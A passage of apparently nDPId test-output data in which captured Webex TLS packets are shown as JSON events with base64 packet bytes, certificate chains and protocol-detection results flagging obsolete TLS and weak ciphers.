4MDAwMDAwWhcNMjExMTA3MjM1OTU5WjCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ\/XxrcgxiV0i6CqqpkKzj\/i5Vbext0uz\/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6\/WhkcIzSdhDY2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn\/Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4\/VBEnkjWNHiDxpg8v+R70rfk\/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10\/NIeWiu5T6CUVAgMBAAGjggGbMIIBlzAPBgNVHRMBAf8EBTADAQH\/MDEGA1UdHwQqMCgwJqAkoCKGIGh0dHA6Ly9jcmwudmVyaXNpZ24uY29tL3BjYTMuY3JsMA4GA1UdDwEB\/wQEAwIBBjA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL2NwczAdBgNVHQ4EFgQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24uY29tL3ZzbG9nby5naWYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC52ZXJpc2lnbi5jb20wPgYDVR0lBDcwNQYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDAwYJYIZIAYb4QgQBBgpghkgBhvhFAQgBMA0GCSqGSIb3DQEBBQUAA4GBABMC3fjohgDyWvj4IAxZiGIHzs73Tvm7WaGY5eE43U68ZhjTresY8g3JbT5KlCDDPLq9ZVTGr0SzEK0saz6r1we2uIFjxfleLuUqZ87NMwwq14lWAyMfs77oOghZtOxFNfeKW\/9mz1Cvxm1XjRl4t7mi0VfqH5pLr7rJjhJ+xr3\/DgAAAA=="} +01110{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":328,"source":"webex.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":8,"flow_first_seen":1444570636180,"flow_last_seen":1444570636471,"flow_tot_l4_data_len":4150,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2547,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.231.3","src_port":45814,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +00407{"flow_id":14,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":329,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":522174,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAonxNAAEAGbEMKCAABPm3nA7L2AbufQl4jYL2xYFAQTvhtLQAA"} +00854{"flow_id":14,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":330,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":522571,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFunxRAAEAGavwKCAABPm3nA7L2AbufQl4jYL2xYFAYTvhSuAAAFgMBAQYQAAECAQB+x8SRFL2Xl25V270B08YXmzYouk2YY7Sh\/JZqWhl4FAtkaXyk3Y9KixLFglwMo8snZosACNZ4mi2KAWt7xQOoUCJFw9A8VP36T2QysqLRz+1q0kYb5d\/10QCwqU3BwBjieuKr8pvMNhakG+LNQUb+GVGXP22+JcaSnx8acpHquVahAg7KoKG3tge9\/o9hdNRcmkUTbETYhUcsO7kERjHuJsF0qrOU57OEoNvti6\/1IS+igd4z+TosVT5AeT9dpZLzf3XRHLkdc5Nvoq1Osrjx\/sIi6S\/VVKZD06Ovl1vOLOWhBJRCY7hpB6GOLUIaDO7uCntgxqENsNjJnu\/IjQOVFAMBAAEBFgMBADDMSFBVAWePsR52e6bpBiy3sbZr48YDsbwKShZC0wc+zB5r5AmNyl574bcRRXY1Kmc="} +00410{"flow_id":14,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":331,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":523151,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAatAABAGOaw+becDCggAAQG7svZgvbFgn0JfaVAQ\/\/+63wAA"} +02249{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":332,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":647668,"pkt_caplen":1414,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1414,"pkt_l4_len":1380,"pkt":"ABoRAAACABoRAAABCABFAAV4AaxAABAGsPtARGiMCggAAQG7rcyGeQmKeYb2tlAY\/\/89lwAAFgMBD14CAABNAwFWGmYSAMIZ5g2r8Ta\/JoVG+bZt+QoLEo+D1Ut5Gr7FfiAVoW6tqVFw74l8dBfaZE0t1BaYdz1NzzGC7+ClOVhTSAA1AAAF\/wEAAQALAA8FAA8CAATpMIIE5TCCA82gAwIBAgIQKXSJqdQeSb5h94FpRuYh8zANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MB4XDTE1MDQxMDAwMDAwMFoXDTE4MDQxMDIzNTk1OVowdzELMAkGA1UEBhMCdXMxEzARBgNVBAgMCkNhbGlmb3JuaWExETAPBgNVBAcMCFNhbiBKb3NlMRwwGgYDVQQKDBNDaXNjbyBTeXN0ZW1zLCBJbmMuMQwwCgYDVQQLDANDU0cxFDASBgNVBAMMCyoud2ViZXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnXjIYUvDCGFnLF6CX7BhvJlmnmrg0KiZFcDP6TyJs2s+n7Hjqpb8O374x26knzLrTkrkpNBVvbi6eY8X6lmrWlqvlgEoyMmslNbZoAjUy1C9HNIMI2F1bLGI\/pKRUGbpk5wvAv6SKOf+cKi3mis7U2sccUb8cFxKTVpp62iK2uOzkFa4zF1i4hm\/NKjJWJVuj\/D8tQpd0PSuU5wWY7G1x\/5UpvvDV7KS7Tsmn3ib\/8gstBL+PLvKZHJ8YWc8u02oGZQoWD64APslwdmLLyDqq5USERl2bc761RHbBhnmKf3IpyvGqgfCFbQ7hfb+sniY0O+KQiBpaJI1bt4iiHQ1YQIDAQABo4IBZDCCAWAwFgYDVR0RBA8wDYILKi53ZWJleC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGUGA1UdIAReMFwwWgYKYIZIAYb4RQEHNjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZGhdodHRwczovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAU0XVgHR8KQTLFFzVVA7s1Rlqj4+dm5q+OB5OfJMqYeX\/hnGHVeD8z9\/9EdKsauBRbbFpJk38PC3aGoy0iL9v8CA4V6o0qYzEfedbF\/p\/UuvtChO8CktAaqN64hPdToCJEy3gqyB\/Hv7VVuKXUBogujzn1WBdIyBUlO\/hClSnOD8Qq1So\/AzCrw+\/ChOOV7DI631hsLE1M73UmQqxi7Cbu5R5TsXH6v6s\/7CAPBhVtuxTBBcBuPtA6Pd2Q8vOf6ByuErVmWAV\/tOLfjGuqPuM2JoxzR1iH82zcoIcxOzmtUIYsiTuUSCi\/AsNsm265BOW9oeh5kgZU+pE6LkGX9bECAAU8MIIFOA=="} +00407{"flow_id":15,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":333,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":698579,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoNIpAAEAGU20KCAABQERojK3MAbt5hva2hnkO2lAQP8AIIwAA"} +00492{"flow_id":14,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":334,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":699386,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAa1AABAGOW8+becDCggAAQG7svZgvbFgn0JfaVAY\/\/+8kAAAFAMBAAEBFgMBADABGZe8ehOSe7gK0FC8QxqAhYLDRh5yPtE2RphosONMTi0lAqbKlg87+MpJfR3JJIE="} +05676{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":335,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":701917,"pkt_caplen":3961,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3961,"pkt_l4_len":3927,"pkt":"ABoRAAACABoRAAABCABFAA9rAa5AABAGn3HRxd6fCggAAQG7uYqEY+16e5wSxlAY\/\/\/gJgAAFgMBDz4CAAAtAwFWGmYSafQ2QQh1yhO3tQEaAendowKn9NoaYwQzVwrXvgAANQAABf8BAAEACwAPBQAPAgAE6TCCBOUwggPNoAMCAQICECl0ianUHkm+YfeBaUbmIfMwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNTA0MTAwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHcxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMREwDwYDVQQHDAhTYW4gSm9zZTEcMBoGA1UECgwTQ2lzY28gU3lzdGVtcywgSW5jLjEMMAoGA1UECwwDQ1NHMRQwEgYDVQQDDAsqLndlYmV4LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ14yGFLwwhhZyxegl+wYbyZZp5q4NComRXAz+k8ibNrPp+x46qW\/Dt++MdupJ8y605K5KTQVb24unmPF+pZq1par5YBKMjJrJTW2aAI1MtQvRzSDCNhdWyxiP6SkVBm6ZOcLwL+kijn\/nCot5orO1NrHHFG\/HBcSk1aaetoitrjs5BWuMxdYuIZvzSoyViVbo\/w\/LUKXdD0rlOcFmOxtcf+VKb7w1eyku07Jp94m\/\/ILLQS\/jy7ymRyfGFnPLtNqBmUKFg+uAD7JcHZiy8g6quVEhEZdm3O+tUR2wYZ5in9yKcrxqoHwhW0O4X2\/rJ4mNDvikIgaWiSNW7eIoh0NWECAwEAAaOCAWQwggFgMBYGA1UdEQQPMA2CCyoud2ViZXguY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBlBgNVHSAEXjBcMFoGCmCGSAGG+EUBBzYwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGRoXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDANBgkqhkiG9w0BAQsFAAOCAQEAFNF1YB0fCkEyxRc1VQO7NUZao+PnZuavjgeTnyTKmHl\/4Zxh1Xg\/M\/f\/RHSrGrgUW2xaSZN\/Dwt2hqMtIi\/b\/AgOFeqNKmMxH3nWxf6f1Lr7QoTvApLQGqjeuIT3U6AiRMt4Ksgfx7+1Vbil1AaILo859VgXSMgVJTv4QpUpzg\/EKtUqPwMwq8PvwoTjlewyOt9YbCxNTO91JkKsYuwm7uUeU7Fx+r+rP+wgDwYVbbsUwQXAbj7QOj3dkPLzn+gcrhK1ZlgFf7Ti34xrqj7jNiaMc0dYh\/Ns3KCHMTs5rVCGLIk7lEgovwLDbJtuuQTlvaHoeZIGVPqROi5Bl\/WxAgAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAWMwggFfMBIGA1UdEwEB\/wQIMAYBAf8CAQAwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3MxLnN5bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAQYwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vczIuc3ltY2IuY29tMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwHQYDVR0OBBYEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB8GA1UdIwQYMBaAFH\/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqGSIb3DQEBCwUAA4IBAQBelFZJ3Y4tZfXBNlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHAATUMIIE0DCCBDmgAwIBAgIQJQzo4DBhLp8rifcFTXz4\/TANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYxMTA4MDAwMDAwWhcNMjExMTA3MjM1OTU5WjCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ\/XxrcgxiV0i6CqqpkKzj\/i5Vbext0uz\/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6\/WhkcIzSdhDY2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn\/Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4\/VBEnkjWNHiDxpg8v+R70rfk\/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10\/NIeWiu5T6CUVAgMBAAGjggGbMIIBlzAPBgNVHRMBAf8EBTADAQH\/MDEGA1UdHwQqMCgwJqAkoCKGIGh0dHA6Ly9jcmwudmVyaXNpZ24uY29tL3BjYTMuY3JsMA4GA1UdDwEB\/wQEAwIBBjA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL2NwczAdBgNVHQ4EFgQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24uY29tL3ZzbG9nby5naWYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC52ZXJpc2lnbi5jb20wPgYDVR0lBDcwNQYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDAwYJYIZIAYb4QgQBBgpghkgBhvhFAQgBMA0GCSqGSIb3DQEBBQUAA4GBABMC3fjohgDyWvj4IAxZiGIHzs73Tvm7WaGY5eE43U68ZhjTresY8g3JbT5KlCDDPLq9ZVTGr0SzEK0saz6r1we2uIFjxfleLuUqZ87NMwwq14lWAyMfs77oOghZtOxFNfeKW\/9mz1Cvxm1XjRl4t7mi0VfqH5pLr7rJjhJ+xr3\/DgAAAA=="} +01113{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":335,"source":"webex.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":6,"flow_first_seen":1444570636160,"flow_last_seen":1444570636701,"flow_tot_l4_data_len":4110,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3927,"flow_avg_l4_data_len":685,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"209.197.222.159","src_port":47498,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +03884{"flow_id":15,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":336,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":703657,"pkt_caplen":2633,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2633,"pkt_l4_len":2599,"pkt":"ABoRAAACABoRAAABCABFAAo7Aa9AABAGrDVARGiMCggAAQG7rcyGeQ7aeYb2tlAY\/\/+\/QgAAMIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM0MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zAfBgNVHSMEGDAWgBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzANBgkqhkiG9w0BAQsFAAOCAQEAXpRWSd2OLWX1wTZRtgPj2p5zGfIfWatYfmwmBSz6gddcIxciLDeT94bsheawo\/0f4jKoRW\/h2fu5r9JwoDJCZb+E\/hYqjz\/Fptajk31D6XQhkTUo9GPpLu339Vx\/S5q1IOkKveBFEAwUlJpdpeNLkegkm0ZAZfQics2Z+IgR9fN\/5jOC5qjFfv7QCOIlWAhxaObNouYU3k5SJC395XkTU+deLy1NG21AFVIr94eJeBKBbtlNqi141MIsPQhfh5GeHw6w3jBSZIaJqp1mnA52DIDydNgq+Lg6ztfWDxG+a6sU9b1BoCJjifG6D28pY2YtP6yMcsX7x+TUD\/I7T4wpxwAE1DCCBNAwggQ5oAMCAQICECUM6OAwYS6fK4n3BU18+P0wDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MTEwODAwMDAwMFoXDTIxMTEwNzIzNTk1OVowgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAryQICCl6NZ5gDKrnSztO3Hy8PEUcuyvg\/ikC+VcIo2SFFSf18a3IMYldIugqqqZCs4\/4uVW3sbdLs\/6PfgdX7O9D22ZiFWHPYA2k2N744MNiCD1UE+tJyllUhSblK48bn+v1oZHCM0nYQ2NqUkvSj+hwUU3RiWl7x3D2s9wSdNt7XUtW05a\/FXehsPSiJfKvHJJnGOX0BgTvkLnkAOTdOrUZ\/wK69Dzu4IvrN4vs9Nes8vbwPa\/ddZEzGR0cQMt0JBkhk9kU\/qwqUseP1QRJ5I1jR4g8aYPL\/ke9K35PxZWuDp3U0UPAZ3PjFAh+5T+fc7gzCs9dPzSHloruU+glFQIDAQABo4IBmzCCAZcwDwYDVR0TAQH\/BAUwAwEB\/zAxBgNVHR8EKjAoMCagJKAihiBodHRwOi8vY3JsLnZlcmlzaWduLmNvbS9wY2EzLmNybDAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9jcHMwHQYDVR0OBBYEFH\/TZafC3ey78DA